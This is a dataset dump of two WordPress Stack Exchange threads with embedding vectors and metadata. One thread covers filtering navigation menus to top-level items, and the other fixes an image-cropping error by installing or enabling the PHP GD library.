-0.02203369140625, 0.01317596435546875, 0.040435791015625, 0.00801849365234375, 0.004703521728515625, -0.00214385986328125, -0.019561767578125, -0.031768798828125, -0.017242431640625, 0.006801605224609375, -0.0643310546875, -0.031524658203125, 0.0152740478515625, 0.006561279296875, 0.01515960693359375, 0.00948333740234375, 0.01381683349609375, -0.052520751953125, 0.01226043701171875, 0.034271240234375, 0.005260467529296875, -0.005558013916015625, 0.058197021484375, 0.005645751953125, 0.0249176025390625, -0.054351806640625, -0.01546478271484375, 0.0195159912109375, -0.01806640625, -0.010772705078125, -0.005161285400390625, 0.0039043426513671875, -0.0489501953125, 0.0184478759765625, -0.0016489028930664062, 0.033355712890625, -0.02569580078125, 0.0189361572265625, 0.0261993408203125, 0.0231475830078125, -0.0231475830078125, 0.03851318359375, 0.037445068359375, 0.02764892578125, -0.0367431640625, -0.061920166015625, 0.026763916015625, 0.03778076171875, 0.0257415771484375, 0.045501708984375, 0.049591064453125, -0.0723876953125, 0.0037708282470703125, 0.006786346435546875, -0.036529541015625, -0.021270751953125, 0.00759124755859375, 0.00030922889709472656, -0.0070343017578125, 0.0421142578125, -0.0238189697265625, -0.02447509765625, 0.0137786865234375, 0.0159149169921875, 0.054931640625, -0.00027370452880859375, 0.051055908203125, -0.043914794921875, -0.0205535888671875, -0.041046142578125, 0.0288848876953125, 0.06634521484375, 0.00582122802734375, 0.022552490234375, 0.0253753662109375, 0.053314208984375, 0.006549835205078125, -0.0037078857421875, 0.053009033203125, 0.04400634765625, 0.038787841796875, 0.0135345458984375, 0.0011119842529296875, 0.04705810546875, -0.0213775634765625, 0.00003415346145629883, -0.0159454345703125, 0.036376953125, 0.0005507469177246094, -0.00191497802734375, 0.011505126953125, 0.060943603515625, 0.0024623870849609375, -0.022796630859375, 0.07501220703125, 0.00070953369140625, -0.04156494140625, -0.01506805419921875, 0.01285552978515625, 0.11260986328125, 0.0154571533203125, -0.032623291015625, -0.0107421875, -0.005916595458984375, -0.0206146240234375, 0.00804901123046875, 0.0213775634765625, -0.0238037109375, 0.041717529296875, 0.005970001220703125, 0.001865386962890625, 0.0216522216796875, -0.0022602081298828125, 0.0006580352783203125, 0.0089111328125, 0.042572021484375, 0.002918243408203125, 0.0262298583984375, 0.016204833984375, 0.05792236328125, 0.0011653900146484375, -0.023681640625, 0.014373779296875, -0.00817108154296875, -0.031494140625, -0.02752685546875, -0.02386474609375, 0.0204925537109375, 0.0097808837890625, -0.0706787109375, 0.0640869140625, 0.0411376953125, -0.0217132568359375, -0.0245513916015625, -0.00266265869140625, 0.01323699951171875, -0.01313018798828125, -0.0044708251953125, 0.01366424560546875, 0.0242767333984375, 0.02679443359375, 0.03326416015625, -0.03082275390625, -0.052459716796875, -0.061492919921875, -0.0003948211669921875, 0.0178070068359375, 0.0283203125, 0.010467529296875, -0.003810882568359375, -0.01052093505859375, -0.032440185546875, -0.009429931640625, 0.0003123283386230469, -0.047119140625, 0.0107421875, 0.0227508544921875, -0.0019178390502929688, 0.02838134765625, -0.00359344482421875, 0.02178955078125, 0.0247802734375, 0.013916015625, 0.0229034423828125, 0.0462646484375, 0.03924560546875, 0.08428955078125, 0.036041259765625, -0.0171966552734375, 0.0082244873046875, 0.0882568359375, -0.04949951171875, -0.0201873779296875, 0.044677734375, -0.00838470458984375, -0.00920867919921875, -0.033233642578125, -0.01097869873046875, -0.0047454833984375, -0.04925537109375, -0.0252685546875, 0.0191802978515625, 0.0150909423828125, -0.0005774497985839844, -0.044647216796875, 0.043243408203125, -0.032379150390625, 0.00811767578125, -0.0038013458251953125, -0.0013427734375, -0.01258087158203125, 0.0278472900390625, -0.033111572265625, -0.06622314453125, -0.0280914306640625, 0.0540771484375, -0.054718017578125, 0.01055908203125, 0.018463134765625, -0.0226287841796875, 0.023773193359375, 0.00455474853515625, 0.04132080078125, 0.04156494140625, -0.0267791748046875, -0.0074005126953125, 0.00542449951171875, 0.0325927734375, -0.0287017822265625, -0.06134033203125, 0.00772857666015625, -0.022247314453125, 0.013763427734375, -0.0177764892578125, 0.0015707015991210938, 0.005512237548828125, -0.055694580078125, -0.1141357421875, 0.034088134765625, -0.01898193359375, -0.044708251953125, -0.0146636962890625, 0.029205322265625, -0.005680084228515625, 0.0244293212890625, 0.0009603500366210938, -0.0257568359375, -0.0166015625, 0.005947113037109375, 0.013519287109375, 0.005107879638671875, 0.03497314453125, -0.0190887451171875, -0.01389312744140625, 0.00836181640625, 0.016021728515625, 0.00974273681640625, -0.026092529296875, -0.01361846923828125, 0.057464599609375, 0.043121337890625, 0.0225372314453125, 0.006053924560546875, 0.033538818359375, -0.03875732421875, 0.00446319580078125, -0.0280609130859375, -0.055633544921875, -0.019195556640625, 0.0594482421875, 0.058868408203125, 0.021087646484375, -0.0306549072265625, -0.00522613525390625, -0.03302001953125, -0.03436279296875, -0.0174102783203125, 0.013916015625, -0.0465087890625, 0.0179443359375, -0.00923919677734375, -0.012542724609375, 0.02288818359375, -0.0008573532104492188, -0.0279388427734375, 0.0015993118286132812, -0.032073974609375, -0.0230560302734375, -0.07562255859375, 0.0002815723419189453, 0.036285400390625, -0.0170745849609375, 0.0187225341796875, 0.01763916015625, 0.00299072265625, 0.040283203125, 0.064697265625, -0.005397796630859375, -0.01947021484375, 0.00460052490234375, 0.027130126953125, 0.00882720947265625, 0.007579803466796875, -0.01168060302734375, -0.0192413330078125, 0.0012197494506835938, -0.0244293212890625, 0.0029201507568359375, -0.037506103515625, -0.020965576171875, -0.006183624267578125, -0.0416259765625, 0.01541900634765625, -0.01496124267578125, -0.055938720703125, -0.016082763671875, 0.0219573974609375, -0.0163726806640625, -0.01544189453125, 0.00954437255859375, -0.02935791015625, -0.01104736328125, -0.037872314453125, -0.027008056640625, -0.03424072265625, -0.003330230712890625, 0.0164337158203125, -0.036376953125, 0.0176544189453125 ]
78acf853b338ece13ef904ee0e342cc916c48f25
Wordpress Stackexchange Q: Return only top-level navigation items from a menu using wp_get_nav_menu_items I have the following function in my project: function cr_get_menu_items($menu_location) { $locations = get_nav_menu_locations(); $menu = get_term($locations[$menu_location], 'nav_menu'); return wp_get_nav_menu_items($menu->term_id); } The function is used in my theme like this: <?php $nav = cr_get_menu_items('navigation_menu') ?> <?php foreach ($nav as $link): ?> <a href="<?= $link->url ?>"><?= $link->title ?></a> <?php endforeach; ?> This currently returns all navigation items present in my menu - parent/top-level and sub navigation. I am wondering how to alter this to exclude all sub navigation items. I only want to display the parent/top-level items. A: Let's take a look at wp_get_nav_menu_items code reference. It takes two parameters: * *$menu - (int|string|WP_Term) (Required) Menu ID, slug, name, or object, *$args - (array) (Optional) Arguments to pass to get_posts(). So we can use get_posts args in here... And if we want to get only top-level posts, then post_parent arg comes useful... So something like this should do the trick: function cr_get_menu_items($menu_location) { $locations = get_nav_menu_locations(); $menu = get_term($locations[$menu_location], 'nav_menu'); return wp_get_nav_menu_items($menu->term_id, array('post_parent' => 0)); }
Q: Return only top-level navigation items from a menu using wp_get_nav_menu_items I have the following function in my project: function cr_get_menu_items($menu_location) { $locations = get_nav_menu_locations(); $menu = get_term($locations[$menu_location], 'nav_menu'); return wp_get_nav_menu_items($menu->term_id); } The function is used in my theme like this: <?php $nav = cr_get_menu_items('navigation_menu') ?> <?php foreach ($nav as $link): ?> <a href="<?= $link->url ?>"><?= $link->title ?></a> <?php endforeach; ?> This currently returns all navigation items present in my menu - parent/top-level and sub navigation. I am wondering how to alter this to exclude all sub navigation items. I only want to display the parent/top-level items. A: Let's take a look at wp_get_nav_menu_items code reference. It takes two parameters: * *$menu - (int|string|WP_Term) (Required) Menu ID, slug, name, or object, *$args - (array) (Optional) Arguments to pass to get_posts(). So we can use get_posts args in here... And if we want to get only top-level posts, then post_parent arg comes useful... So something like this should do the trick: function cr_get_menu_items($menu_location) { $locations = get_nav_menu_locations(); $menu = get_term($locations[$menu_location], 'nav_menu'); return wp_get_nav_menu_items($menu->term_id, array('post_parent' => 0)); } A: This worked for me : function cr_get_menu_items($Your_menu_location) { $menuLocations = get_nav_menu_locations(); $YourmenuID = $menuLocations[$Your_menu_location]; $YourNavItems = wp_get_nav_menu_items($YourmenuID); } $Your_menu_location is a string variable representing the menu name like 'navigation_menu' or 'primary' depending on how you registered your menu in functions.php , The function is used in my theme like this: <?php $menuitems = cr_get_menu_items('navigation_menu') ; foreach ( (array)$menuitems as $menuitem ) { if (!$menuitem->menu_item_parent ) echo '<a class="nav-link" href="'.$navItem->url.'">'.$navItem->title.' </a>'; } ?>
wordpress
{ "language": "en", "length": 249, "provenance": "stackexchange_00019.jsonl.gz:485739", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/301988" }
[ 0.06634521484375, -0.0242156982421875, 0.04119873046875, 0.00885009765625, 0.00011157989501953125, -0.028961181640625, 0.0936279296875, -0.041290283203125, -0.00756072998046875, 0.01715087890625, -0.038330078125, 0.0167236328125, -0.05206298828125, -0.006103515625, -0.016143798828125, -0.036346435546875, 0.024200439453125, -0.00817108154296875, -0.006404876708984375, -0.0227203369140625, -0.0238494873046875, -0.00279998779296875, 0.020904541015625, 0.11492919921875, 0.037750244140625, -0.05926513671875, -0.01483917236328125, 0.0053558349609375, 0.004688262939453125, -0.002994537353515625, 0.01235198974609375, 0.01448822021484375, -0.013336181640625, -0.0066375732421875, 0.064697265625, -0.047454833984375, -0.0192718505859375, 0.022369384765625, 0.051055908203125, -0.043243408203125, 0.008392333984375, 0.01287078857421875, -0.0289306640625, 0.020843505859375, -0.061859130859375, -0.0201263427734375, -0.0126953125, 0.0007467269897460938, 0.01251220703125, -0.0209808349609375, 0.041015625, -0.015625, 0.047088623046875, 0.021728515625, -0.0303497314453125, -0.0013675689697265625, 0.035308837890625, -0.06781005859375, 0.0128326416015625, 0.0255126953125, -0.018585205078125, -0.00019252300262451172, 0.0244903564453125, -0.041290283203125, -0.0140228271484375, 0.0192413330078125, 0.006011962890625, -0.00377655029296875, -0.06781005859375, -0.006282806396484375, 0.06671142578125, -0.049896240234375, 0.0000782012939453125, 0.0239105224609375, -0.0430908203125, -0.05877685546875, 0.01177215576171875, -0.046142578125, 0.031707763671875, 0.00844573974609375, -0.005687713623046875, 0.002269744873046875, -0.068115234375, 0.0011167526245117188, 0.0105438232421875, 0.038970947265625, -0.0155792236328125, -0.0169219970703125, -0.0291290283203125, 0.005283355712890625, -0.0184326171875, 0.0088653564453125, -0.04888916015625, 0.005207061767578125, 0.01059722900390625, -0.0299530029296875, 0.037139892578125, 0.0670166015625, -0.030059814453125, 0.0120849609375, -0.0238800048828125, -0.0338134765625, 0.03399658203125, -0.05059814453125, 0.03369140625, 0.0924072265625, -0.0091552734375, 0.000011086463928222656, 0.06524658203125, 0.013427734375, 0.044677734375, 0.045013427734375, -0.021759033203125, -0.02935791015625, -0.0043182373046875, 0.0267181396484375, -0.0487060546875, 0.02044677734375, 0.0023670196533203125, 0.00542449951171875, 0.0015516281127929688, 0.0161285400390625, -0.020904541015625, 0.003772735595703125, 0.01323699951171875, 0.0240478515625, -0.00839996337890625, -0.0054168701171875, -0.035980224609375, 0.0589599609375, -0.01154327392578125, -0.02178955078125, 0.025634765625, 0.03619384765625, 0.00701141357421875, -0.033111572265625, -0.018646240234375, -0.036651611328125, 0.0092926025390625, -0.033294677734375, 0.057830810546875, 0.0199432373046875, 0.0289306640625, 0.02410888671875, -0.01549530029296875, -0.01062774658203125, 0.00506591796875, 0.0260009765625, 0.01140594482421875, -0.0377197265625, 0.0034332275390625, -0.01296234130859375, 0.04595947265625, 0.01074981689453125, -0.06109619140625, 0.000014483928680419922, -0.003299713134765625, -0.0139312744140625, -0.03887939453125, -0.055328369140625, -0.033935546875, -0.00571441650390625, 0.01105499267578125, -0.07568359375, -0.0751953125, 0.00916290283203125, -0.004817962646484375, 0.0012159347534179688, 0.0247650146484375, 0.03466796875, 0.0469970703125, -0.036956787109375, -0.0089263916015625, 0.0206146240234375, 0.004177093505859375, 0.01259613037109375, -0.001979827880859375, 0.028167724609375, 0.00357818603515625, 0.042388916015625, 0.001331329345703125, -0.05731201171875, 0.016021728515625, 0.0108184814453125, -0.0616455078125, 0.03485107421875, 0.00016307830810546875, 0.05169677734375, 0.01708984375, 0.0149688720703125, 0.048858642578125, 0.0013446807861328125, -0.045166015625, 0.00004547834396362305, -0.0169525146484375, 0.003162384033203125, 0.006206512451171875, 0.01126861572265625, -0.01100921630859375, 0.00930023193359375, 0.0035552978515625, 0.0133056640625, -0.0035991668701171875, -0.003528594970703125, -0.02197265625, -0.0052490234375, -0.00470733642578125, 0.031402587890625, 0.015594482421875, 0.0294036865234375, 0.00579071044921875, 0.0259246826171875, -0.0235443115234375, -0.0136871337890625, -0.0212249755859375, 0.01493072509765625, -0.0279388427734375, 0.016265869140625, -0.02374267578125, 0.02581787109375, -0.0291595458984375, -0.0163726806640625, -0.02203369140625, 0.0037384033203125, 0.0599365234375, -0.00927734375, 0.00885009765625, -0.0213470458984375, 0.0572509765625, 0.019439697265625, -0.040008544921875, 0.002063751220703125, 0.053863525390625, 0.01064300537109375, -0.0350341796875, 0.03448486328125, 0.038604736328125, -0.01178741455078125, -0.0219879150390625, 0.0236053466796875, 0.0261383056640625, 0.051361083984375, -0.02203369140625, -0.03948974609375, 0.06610107421875, -0.09600830078125, -0.039276123046875, 0.0023784637451171875, -0.016143798828125, -0.003604888916015625, 0.02606201171875, -0.0069122314453125, 0.035797119140625, 0.0113372802734375, 0.006717681884765625, 0.029937744140625, -0.0206451416015625, -0.0117645263671875, -0.006610870361328125, 0.0032367706298828125, 0.0168914794921875, -0.00936126708984375, -0.0228729248046875, 0.005428314208984375, -0.0070343017578125, -0.0010747909545898438, 0.0036334991455078125, 0.0018205642700195312, -0.04791259765625, -0.005771636962890625, 0.05206298828125, 0.060821533203125, 0.0021648406982421875, 0.0102081298828125, 0.01438140869140625, -0.006710052490234375, 0.00104522705078125, -0.0028553009033203125, -0.00160980224609375, -0.01389312744140625, -0.006992340087890625, 0.058868408203125, 0.07354736328125, -0.0093231201171875, -0.0421142578125, -0.03802490234375, 0.04010009765625, 0.00579071044921875, 0.00327301025390625, 0.0089874267578125, 0.0380859375, -0.00389862060546875, -0.00992584228515625, -0.0025196075439453125, 0.0007047653198242188, -0.016998291015625, 0.04608154296875, -0.0006732940673828125, 0.002620697021484375, 0.0108642578125, 0.040252685546875, 0.0284271240234375, 0.004940032958984375, -0.0096282958984375, -0.00942230224609375, -0.0202178955078125, -0.02978515625, 0.0266265869140625, -0.008514404296875, -0.0220489501953125, -0.04052734375, 0.027801513671875, 0.0007576942443847656, -0.01064300537109375, -0.02142333984375, -0.0308380126953125, -0.046356201171875, -0.0228729248046875, -0.0936279296875, -0.037139892578125, 0.024566650390625, -0.0248260498046875, 0.0229644775390625, 0.0206298828125, -0.0167694091796875, -0.0408935546875, 0.055999755859375, -0.005046844482421875, 0.037994384765625, 0.00768280029296875, -0.052093505859375, 0.0244903564453125, -0.05462646484375, 0.048980712890625, -0.00504302978515625, 0.006519317626953125, 0.008758544921875, 0.03961181640625, 0.01849365234375, -0.0380859375, 0.0260772705078125, 0.04193115234375, -0.01117706298828125, 0.0172882080078125, 0.0016651153564453125, 0.002338409423828125, -0.0029735565185546875, 0.01396942138671875, -0.0012083053588867188, -0.0045623779296875, -0.00846099853515625, -0.03143310546875, -0.00030517578125, 0.03662109375, 0.04193115234375, 0.0002739429473876953, -0.01004791259765625, 0.056243896484375, 0.044281005859375, 0.00969696044921875, -0.036468505859375, -0.05072021484375, -0.06524658203125, 0.034912109375, 0.03509521484375, 0.037384033203125, -0.0291595458984375, 0.025909423828125, 0.037445068359375, 0.022857666015625, 0.0294036865234375, 0.0007367134094238281, -0.0028553009033203125, -0.005321502685546875, 0.005340576171875, -0.03558349609375, 0.050445556640625, -0.0211181640625, -0.01183319091796875, 0.0014514923095703125, -0.0198516845703125, -0.00988006591796875, -0.058837890625, -0.04345703125, -0.0110321044921875, 0.0394287109375, 0.00787353515625, 0.05096435546875, -0.02593994140625, -0.040283203125, -0.0145721435546875, 0.082275390625, -0.0022525787353515625, -0.018829345703125, -0.04742431640625, -0.002685546875, -0.0015287399291992188, -0.06640625, -0.002899169921875, -0.01092529296875, -0.10443115234375, 0.03533935546875, 0.005924224853515625, -0.01287078857421875, 0.0025768280029296875, -0.0085296630859375, -0.05401611328125, -0.0526123046875, 0.04803466796875, -0.001926422119140625, 0.029876708984375, 0.0166473388671875, 0.0244293212890625, -0.01239776611328125, -0.033721923828125, 0.0198822021484375, -0.04296875, -0.01171112060546875, 0.0080718994140625, 0.0166015625, -0.002559661865234375, -0.01358795166015625, -0.00762939453125, 0.0386962890625, 0.0134429931640625, -0.005283355712890625, 0.006763458251953125, 0.01171112060546875, -0.0285491943359375, -0.00843048095703125, -0.01024627685546875, -0.0199737548828125, -0.0124359130859375, -0.001766204833984375, -0.034271240234375, -0.016357421875, -0.00893402099609375, -0.00399017333984375, 0.033843994140625, -0.03436279296875, -0.05059814453125, -0.036590576171875, -0.02435302734375, -0.01320648193359375, -0.00823211669921875, -0.0191650390625, -0.0367431640625, -0.050567626953125, 0.019775390625, 0.0192413330078125, -0.04547119140625, -0.00830078125, 0.0191192626953125, 0.032806396484375, -0.032562255859375, 0.0158843994140625, -0.0136566162109375, 0.0165863037109375, -0.035736083984375, 0.034515380859375, 0.006237030029296875, -0.01236724853515625, 0.052337646484375, -0.0182647705078125, 0.031097412109375, 0.00036525726318359375, 0.032867431640625, 0.0143280029296875, -0.00691986083984375, 0.015167236328125, 0.0174102783203125, -0.04974365234375, 0.05108642578125, -0.00628662109375, -0.046661376953125, -0.053863525390625, 0.06695556640625, 0.0158233642578125, 0.0027713775634765625, -0.0711669921875, -0.0098876953125, -0.004302978515625, 0.020904541015625, 0.0141143798828125, 0.04608154296875, -0.0098724365234375, -0.0004897117614746094, 0.031585693359375, 0.00969696044921875, -0.0168609619140625, 0.0372314453125, -0.016937255859375, 0.036773681640625, 0.01113128662109375, 0.01145172119140625, -0.033966064453125, 0.0044097900390625, 0.0272064208984375, -0.0012359619140625, -0.04449462890625, -0.024627685546875, 0.0139617919921875, 0.053009033203125, 0.005031585693359375, 0.004581451416015625, 0.0312042236328125, 0.00833892822265625, 0.002593994140625, -0.0266265869140625, -0.021240234375, 0.0026397705078125, -0.0340576171875, 0.0242767333984375, 0.00885009765625, -0.0124664306640625, -0.01324462890625, 0.07501220703125, 0.032928466796875, 0.0205230712890625, -0.0257110595703125, -0.0264434814453125, -0.007472991943359375, 0.0255584716796875, 0.0172119140625, 0.01548004150390625, 0.017303466796875, -0.00018358230590820312, 0.0811767578125, -0.019866943359375, -0.0268707275390625, 0.0095367431640625, 0.032135009765625, 0.042022705078125, 0.028167724609375, -0.0157318115234375, 0.0035610198974609375, -0.01346588134765625, 0.07049560546875, -0.01114654541015625, -0.07562255859375, -0.0290679931640625, 0.0183258056640625, 0.044342041015625, -0.03900146484375, -0.026123046875, 0.027313232421875, -0.0165557861328125, -0.014617919921875, 0.00968170166015625, -0.07275390625, 0.025390625, 0.04815673828125, -0.051025390625, -0.01454925537109375, 0.0548095703125, -0.091064453125, -0.03216552734375, -0.02752685546875, -0.033721923828125, 0.0538330078125, -0.0229949951171875, 0.0308990478515625, -0.034149169921875, -0.01174163818359375, -0.0277557373046875, 0.003421783447265625, 0.058746337890625, 0.046173095703125, -0.0557861328125, 0.0134429931640625, -0.02593994140625, -0.0009179115295410156, 0.0203704833984375, -0.0213470458984375, -0.030364990234375, -0.03271484375, -0.0290679931640625, 0.0006470680236816406, -0.0022754669189453125, 0.0404052734375, -0.004901885986328125, 0.00868988037109375, -0.0250701904296875, -0.01678466796875, -0.00677490234375, 0.07025146484375, -0.0447998046875, 0.01508331298828125, -0.004146575927734375, 0.019927978515625, -0.020294189453125, 0.00722503662109375, 0.020721435546875, -0.0263214111328125, -0.030059814453125, -0.0157318115234375, -0.01462554931640625, 0.01042938232421875, 0.0406494140625, -0.0009851455688476562, 0.04937744140625, -0.0233154296875, 0.01532745361328125, -0.01070404052734375, -0.0219268798828125, -0.07684326171875, -0.0093231201171875, 0.04736328125, -0.0095367431640625, 0.0158538818359375, -0.005329132080078125, -0.005023956298828125, -0.00421142578125, -0.0014209747314453125, 0.017913818359375, -0.002376556396484375, -0.048431396484375, 0.06414794921875, 0.1068115234375, 0.00994873046875, 0.049560546875, 0.0390625, 0.01198577880859375, 0.00106048583984375, -0.017333984375, 0.0179443359375, 0.0304107666015625, 0.052978515625, -0.0167694091796875, 0.01557159423828125, 0.034759521484375, -0.030914306640625, -0.03857421875, -0.0019083023071289062, 0.0180206298828125, -0.008544921875, 0.0018024444580078125, 0.033935546875, 0.0040283203125, -0.0133819580078125, 0.0052642822265625, 0.006534576416015625, -0.0224151611328125, -0.033966064453125, -0.0209503173828125, -0.0249176025390625, -0.03582763671875, -0.03466796875, 0.0024261474609375, -0.0162811279296875, 0.03887939453125, 0.00525665283203125, -0.0014867782592773438, -0.0177459716796875, 0.0202178955078125, 0.002796173095703125, -0.05596923828125, 0.006649017333984375, -0.0114288330078125, -0.00250244140625, -0.078857421875, 0.020050048828125, 0.0050201416015625, 0.0205078125, 0.0163726806640625, -0.0068206787109375, -0.0039825439453125, 0.05810546875, -0.032806396484375, 0.01070404052734375, 0.032379150390625, -0.0311431884765625, -0.035675048828125, -0.03546142578125, 0.0102691650390625, 0.0285491943359375, -0.052978515625, 0.0222625732421875, -0.0185699462890625, -0.0174713134765625, -0.00762176513671875, -0.00684356689453125, 0.053375244140625, -0.0233917236328125, -0.02569580078125, -0.0192718505859375, 0.01495361328125, 0.0242462158203125, -0.01389312744140625, 0.0654296875, -0.0443115234375, -0.018035888671875, 0.0234832763671875, 0.0171051025390625, -0.0299072265625, -0.006725311279296875, -0.01422882080078125, 0.05194091796875, -0.02557373046875, -0.00585174560546875, 0.028289794921875, 0.026092529296875, -0.0028438568115234375, 0.0285186767578125, -0.052520751953125, 0.066162109375, 0.032440185546875, 0.03558349609375, -0.041839599609375, -0.0238494873046875, 0.003978729248046875, 0.038421630859375, -0.01036834716796875, 0.0018072128295898438, -0.0305938720703125, -0.0012531280517578125, 0.0297698974609375, 0.03857421875, 0.0254974365234375, 0.026275634765625, 0.0008816719055175781, 0.01611328125, 0.05865478515625, -0.048370361328125, 0.0338134765625, -0.02764892578125, 0.020782470703125, 0.00728607177734375, 0.00933837890625, -0.003475189208984375, -0.00862884521484375, 0.013885498046875, -0.0419921875, 0.0033054351806640625, 0.01439666748046875, 0.032928466796875, 0.027008056640625, 0.0225830078125, 0.043792724609375, -0.0509033203125, -0.029632568359375, -0.027679443359375, 0.028076171875, 0.0158843994140625, 0.00010967254638671875, 0.040985107421875, 0.02081298828125, 0.036865234375, 0.01039886474609375, 0.0177001953125, 0.03564453125, -0.012786865234375, 0.0163726806640625, 0.0220794677734375, 0.0308990478515625, -0.06170654296875, -0.036224365234375, 0.0859375, 0.05133056640625, -0.0184173583984375, -0.056610107421875, 0.0106048583984375, -0.01384735107421875, 0.0018358230590820312, 0.0292816162109375, 0.052886962890625, 0.040008544921875, 0.038970947265625, -0.018768310546875, -0.002429962158203125, 0.04608154296875, 0.02655029296875, 0.007965087890625, -0.0184326171875, -0.0318603515625, 0.0045318603515625, -0.0226898193359375, -0.006927490234375, 0.017120361328125, 0.03375244140625, 0.00942230224609375, 0.03271484375, -0.044097900390625, -0.00814056396484375, 0.0136871337890625, 0.008331298828125, -0.0218963623046875, 0.002590179443359375, -0.002716064453125, -0.014556884765625, -0.01849365234375, 0.01556396484375, 0.0435791015625, 0.0143585205078125, 0.06268310546875, 0.01338958740234375, -0.047393798828125, 0.00933837890625, 0.07391357421875, -0.0105438232421875, -0.0179595947265625, 0.003948211669921875, -0.030731201171875, 0.0258941650390625, -0.01541900634765625, -0.0003101825714111328, 0.026611328125, 0.0288848876953125, -0.008697509765625, 0.03363037109375, 0.004638671875, 0.018035888671875, -0.001560211181640625, -0.0005183219909667969, -0.019287109375, 0.0185394287109375, -0.08917236328125, -0.0215606689453125, -0.01479339599609375, -0.034271240234375, 0.031951904296875, 0.033599853515625, -0.01947021484375, 0.028839111328125, 0.017120361328125, -0.044708251953125, 0.0276641845703125, 0.0282135009765625, 0.0037555694580078125, 0.01910400390625, 0.00954437255859375, -0.0034732818603515625, -0.01580810546875, 0.00920867919921875, 0.0035762786865234375, -0.0084686279296875, 0.05322265625, 0.010162353515625, 0.02435302734375, 0.0236358642578125, -0.0180816650390625, 0.06170654296875, -0.06787109375, -0.0208587646484375, 0.0136260986328125, -0.033050537109375, 0.01033782958984375, 0.006103515625, -0.046112060546875, -0.0227813720703125, 0.0738525390625, -0.035400390625, 0.0059967041015625, -0.0144195556640625, 0.0215606689453125, -0.071044921875, 0.034637451171875, -0.00665283203125, 0.006778717041015625, -0.04547119140625, -0.05572509765625, 0.0751953125, 0.072998046875, 0.0223388671875, 0.027862548828125, 0.01495361328125, -0.052032470703125, 0.051544189453125, -0.0601806640625, 0.0648193359375, 0.04052734375, -0.0038127899169921875, 0.0350341796875, 0.0221710205078125, -0.0011043548583984375, 0.02252197265625, 0.0260467529296875, -0.0264434814453125, 0.0137786865234375, -0.028656005859375, 0.0246124267578125, 0.01468658447265625, 0.02471923828125, -0.0212860107421875, -0.00920867919921875, 0.02752685546875, -0.01097869873046875, -0.03485107421875, -0.06439208984375, -0.040374755859375, -0.045684814453125, -0.017333984375, 0.0296478271484375, -0.026763916015625, -0.042205810546875, -0.036407470703125, 0.01525115966796875, 0.0301513671875, 0.004909515380859375, -0.033477783203125, 0.022247314453125, -0.02978515625, 0.035186767578125, -0.0207977294921875, 0.0310516357421875, -0.027008056640625, -0.0355224609375, -0.047088623046875, 0.01186370849609375, -0.0177764892578125, 0.021270751953125, 0.011199951171875, 0.0156402587890625, 0.04339599609375, -0.0224456787109375, -0.0435791015625, 0.0040740966796875, -0.00823211669921875, 0.0594482421875, 0.0014057159423828125, -0.041168212890625, -0.03216552734375, 0.010498046875, 0.00814056396484375, -0.0149078369140625, 0.0233612060546875, -0.055572509765625, -0.033294677734375, 0.036041259765625, -0.01320648193359375, 0.023284912109375, -0.0191497802734375, -0.0287628173828125, 0.06597900390625, 0.007671356201171875, -0.029754638671875, 0.0090179443359375, 0.0297393798828125, -0.0187835693359375, 0.032958984375, 0.0272369384765625, -0.0292205810546875, 0.02703857421875, 0.00836944580078125, 0.005985260009765625, 0.0228729248046875, -0.0011501312255859375, 0.01279449462890625, -0.03179931640625, 0.0318603515625, 0.01247406005859375, -0.01096343994140625, 0.01457977294921875, -0.006053924560546875, 0.023468017578125, 0.0313720703125, -0.05084228515625, -0.0017261505126953125, -0.015777587890625, 0.0036525726318359375, 0.01245880126953125, -0.023284912109375, -0.0361328125, -0.0172271728515625, 0.0428466796875, 0.049163818359375, 0.0166778564453125, -0.0305328369140625, -0.0134735107421875, -0.016448974609375, -0.0200958251953125, 0.004459381103515625, 0.031524658203125, -0.06005859375, 0.00009083747863769531, 0.00998687744140625, 0.0016603469848632812, -0.0160064697265625, -0.004993438720703125, -0.0257720947265625, -0.017791748046875, -0.0004963874816894531, -0.0218353271484375, -0.003177642822265625, -0.0211639404296875, 0.017486572265625, -0.02197265625, -0.023162841796875, -0.00580596923828125, 0.022247314453125, -0.0144500732421875, 0.01447296142578125, -0.035064697265625, 0.004673004150390625, -0.0288238525390625, -0.00304412841796875, -0.0144805908203125, 0.032135009765625, -0.002994537353515625, -0.00225830078125, -0.0220947265625, 0.002597808837890625, 0.03302001953125, 0.0127716064453125, -0.02227783203125, 0.007099151611328125, 0.03125, 0.00759124755859375, 0.009918212890625, 0.1121826171875, 0.0309600830078125, 0.04986572265625, -0.0011157989501953125, -0.044647216796875, 0.02655029296875, -0.049560546875, -0.00019824504852294922, 0.008453369140625, -0.0172271728515625, -0.037689208984375, 0.03765869140625, 0.054046630859375, -0.010284423828125, 0.019134521484375 ]
142a0bc4c11c23dde31b8a06896f197287c8fb7c
Wordpress Stackexchange Q: "There has been an error cropping your image" when cropping image I am setting the header image in WordPress and when I click on the crop button, it shows me the following error: There has been an error cropping your image. A: There is too little information to be completely sure, but usually this error occurs when WordPress cannot find the graphic library which should be installed on your server. So you should check with your provider to see if Imagick and/or GD are installed. You can also add this little snippet of code in your functions.php file to make sure WordPress looks for both (often it only looks for Imagick): add_filter ('wp_image_editors', 'wpse303391_change_graphic_editor'); function wpse303391_change_graphic_editor ($array) { return array( 'WP_Image_Editor_GD', 'WP_Image_Editor_Imagick' ); } This snippet will look for GD first and then for Imagick. The latter gives better quality, but uses more memory, which can also lead to server errors.
Q: "There has been an error cropping your image" when cropping image I am setting the header image in WordPress and when I click on the crop button, it shows me the following error: There has been an error cropping your image. A: There is too little information to be completely sure, but usually this error occurs when WordPress cannot find the graphic library which should be installed on your server. So you should check with your provider to see if Imagick and/or GD are installed. You can also add this little snippet of code in your functions.php file to make sure WordPress looks for both (often it only looks for Imagick): add_filter ('wp_image_editors', 'wpse303391_change_graphic_editor'); function wpse303391_change_graphic_editor ($array) { return array( 'WP_Image_Editor_GD', 'WP_Image_Editor_Imagick' ); } This snippet will look for GD first and then for Imagick. The latter gives better quality, but uses more memory, which can also lead to server errors. A: I solved this installing the next library sudo apt-get install php5-gd -> for php5 sudo apt-get install php7.0-gd -> for php7 sudo apt-get install php7.2-gd -> for php7.2 A: I was facing same issue and unable to understand how to resolve this issue by following given ideas on every portals as I am not hardcore programmer so it was not possible for me to understand their tricks but Now I have successfully troubleshooted this image cropping issue and am sharing my trick how it was troubleshooted. You just have to open your xampp controller and stop both the services Apache and MySQL and now click on congfig button of Apache and select PHP(PHP.ini), After selecting you will see a config file, find ;extension=gd text, Now just remove ; to enable gd services at your system for PHP as by default it comes 